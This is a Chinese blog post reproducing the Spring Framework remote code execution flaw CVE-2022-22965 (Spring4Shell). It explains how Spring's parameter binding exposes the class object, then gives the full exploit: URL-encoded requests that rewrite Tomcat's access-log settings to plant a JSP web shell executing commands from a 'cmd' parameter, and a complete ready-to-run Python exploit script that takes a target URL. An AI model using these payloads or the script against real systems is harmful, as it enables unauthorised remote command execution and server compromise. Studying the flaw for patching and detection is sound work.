Spring RCE远程执行漏洞(CVE-2022-22965)

  • Post author:
  • Post category:其他




Spring RCE远程执行漏洞(CVE-2022-22965)

这个洞22年3月底被大佬发现公布,由于Spring框架的影响范围太大了。复现条件又很低,本身就是高危的RCE漏洞可以直接拿到服务器的shell,像作者说的一样确实是一个核弹漏洞。


影响范围

JDK>8

Spring Framework<5.3.18

Spring Framework<5.2.20


条件

类对象中有get/set方法

Spring controller接口中有对象传入


漏洞原理

User类,有name和Department两个属性

public class User {
    private String name;
    private Department department;public String getName() {
        return name;
    }public void setName(String name) {
        this.name = name;
    }public Department getDepartment() {
        return department;
    }public void setDepartment(Department department) {
        this.department = department;
    }}

Department类具有name属性

public class Department {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

一会准备测试的接口,注意:其中并没有调用User的get/set方法

@Controller
public class UserController {
    @RequestMapping("/testUser")
    public @ResponseBody String testUser(User user) {
        System.out.println("==testUser==");
        return "OK";
    }
}

打断点后DEBUG启动

在这里插入图片描述

携带参数请求该接口

http://localhost:8888/testUser?name=tpa&department.name=code

User对象没有调用get/set方法但其属性却有了值,这是因为Spring的参数绑定特性,而department.name则是多级绑定。(若department中也存在一个具备name属性的area对象,传入参数department.area.name其属性也会更改。)实际上department.name在后台的调用链路为

User.getDepartment() => Department.setName()

department.area.name则为

User.getDepartment() => Department.getArea() => Area.setName()

在这里插入图片描述

因为是封装类private私有属性,能更改类的属性不直接调用get/set肯定是通过反射了。而JDK自带的一个类PropertyDescriptor就可以通过反射来获取设置对象的属性。实现Spring框架参数绑定自动调用get/set方法的关键类BeanWrapperImpl就是对其进行的封装。

public class PropertyDescriptorTest {
    public static void main(String[] args) throws Exception {

        User user = new User();
        user.setName("tpa111");

        BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);

        PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
        PropertyDescriptor userNameDescriptor = null;


        for (PropertyDescriptor descriptor : descriptors) {
            if (descriptor.getName().equals("name")) {
                userNameDescriptor = descriptor;
                System.out.println("修改前user name:");
                //通过反射调用了get方法
                System.out.println(userNameDescriptor.getReadMethod().invoke(user));
                //通过反射调用了set方法
                userNameDescriptor.getWriteMethod().invoke(user, "tpa222");
            }
        }
        System.out.println("修改后user name:");
        //通过反射调用了get方法
        System.out.println(userNameDescriptor.getReadMethod().invoke(user));
    }
}

在这里插入图片描述

BeanWrapperImpl测试

public class BeanWrapperTest {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("tpa111");
        Department department = new Department();
        department.setName("code111");
        user.setDepartment(department);

        //关键类
        BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
        userBeanWrapper.setAutoGrowNestedPaths(true);

        System.out.println("修改前user name:");
        System.out.println(userBeanWrapper.getPropertyValue("name"));
        System.out.println("修改前department name");
        System.out.println(userBeanWrapper.getPropertyValue("department.name"));

        userBeanWrapper.setPropertyValue("name", "tpa222");
        userBeanWrapper.setPropertyValue("department.name", "code222");

        System.out.println("修改后user name:");
        System.out.println(userBeanWrapper.getPropertyValue("name"));
        System.out.println("修改后department name");
        System.out.println(userBeanWrapper.getPropertyValue("department.name"));
    }
}

在这里插入图片描述

而其中最关键的是在BeanWrapperImpl类中在spring进行参数绑定的时候缓存了一个Class属性,用于引用待绑定的类,有这个Class属性意味着使用的对象不需要拥有Class属性(没有傻X在一个类里写入class属性吧,有了这个缓存漏洞直接起飞),通过传入参数class利用参数绑定就能获得Class对象,而能拿到Class对象在java不是想拿谁拿谁。

DEBUG看一下BeanWrapperImpl出现缓存的代码出现在110行

在这里插入图片描述

就是在这里发现了cache了class属性

在这里插入图片描述


漏洞利用


在拿到Class对象后,我们只要想办法怎么找到一个路径下的文件写入jsp木马更改文件后缀就可以了。java项目基本都会使用tomcat服务器,把目标锁定在了tomcat日志。(其他服务器找到路径也可以成功写入shell)

在这里插入图片描述

主要用到的就是HTTP接口访问日志,它是通过server.xml控制的

它的位置在server.xml最底部,我们可以利用刚才的参数绑定漏洞获取到org.apache.catalina.valves.AccessLogValve类修改它的属性

在这里插入图片描述

它这几个属性的含义

directory: access_log文件输出目录——为了方便改为webapps/ROOT根目录
prefix: access_log文件名前缀——随便起名tpa
suffix: access_log文件名后缀——.jsp
pattern: access_log文件内容格式——jsp木马
fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd——设为空

接下来发送请求更改属性


写入的参数木马

class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>

url编码后的请求

http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%25%3E


文件后缀

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp


文件路径

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT


文件名

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tpa
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.prefix=tpa


文件名日期后缀


虽然没用但是不能少,少了不会生效

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

成功在服务器生成了shell的jsp文件

在这里插入图片描述

成功远程执行

http://localhost:8888/tpa.jsp?cmd=whoami

在这里插入图片描述

以上为手动利用难免出现一些问题效率也不高,直接使用python脚本来进行验证生成shell

使用方式

python exp.py --url http://localhost/testUser
import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"
        print(f"[+] Shell should be at: {location}?cmd=whoami")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()



版权声明:本文为qq_18980147原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。